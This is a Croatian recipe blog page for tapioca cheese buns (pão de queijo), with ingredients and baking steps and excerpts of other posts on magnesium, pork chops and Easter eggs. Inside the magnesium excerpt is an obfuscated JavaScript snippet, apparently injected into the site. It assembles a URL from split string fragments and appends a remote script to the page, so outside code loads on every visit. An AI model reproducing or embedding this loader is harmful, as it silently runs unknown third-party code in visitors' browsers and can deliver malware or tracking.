TAPIOKA PECIVA





Tapioka peciva 




Ako ste posljednjih godina posjetili neku pekarnicu (a realno, tko od nas ne ide redovito u pekarnice?), velika je vjerojatnost da ste primijetili male, okrugle, zlaćane kuglice koje na prvi pogled podsjećaju na mini peciva. Riječ je o pão de queijo, tradicionalnim brazilskim pecivima od tapiokinog brašna i sira koja su odavno prerasla granice svoje domovine i postala omiljeni zalogaj ljubitelja jednostavnih, ali iznimno ukusnih recepata diljem svijeta.




Tapioka peciva 


Sastojci:

  • 250 ml punomasnog mlijeka
  • 80 ml suncokretova ili maslinova ulja
  • 1 žličica soli
  • 300 g tapiokinog brašna
  • 2 velika jaja
  • 180 g naribanog tvrdog sira (parmezan, Grana Padano ili odležani cheddar)
  • 100 g naribane mozzarelle
  • prstohvat papra (po želji)



Priprema:

  • Pećnicu zagrijte na 200 °C, a veliki lim obložite papirom za pečenje.
  • U lončiću zagrijte mlijeko, ulje i sol. Smjesa treba biti vrlo vruća, ali nije potrebno da dugo vrije.
  • Vruću tekućinu prelijte preko tapiokinog brašna i snažno promiješajte kuhačom dok ne dobijete gustu, pomalo ljepljivu smjesu. Ostavite desetak minuta da se malo ohladi.
  • Kada smjesa više nije prevruća, umiješajte jedno po jedno jaje. U početku će izgledati kao da se sastojci ne povezuju, no nastavite miješati dok ne dobijete glatko tijesto.
  • Dodajte obje vrste naribanog sira i po želji malo svježe mljevenog papra pa sve dobro sjedinite.
  • Ruke lagano nauljite ili navlažite vodom te oblikujte kuglice veličine oraha. Posložite ih na lim ostavljajući razmak između svakog peciva jer će tijekom pečenja narasti.
  • Pecite 20 do 25 minuta, dok ne poprime lijepu zlatnu boju i lagano napuknu na površini.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više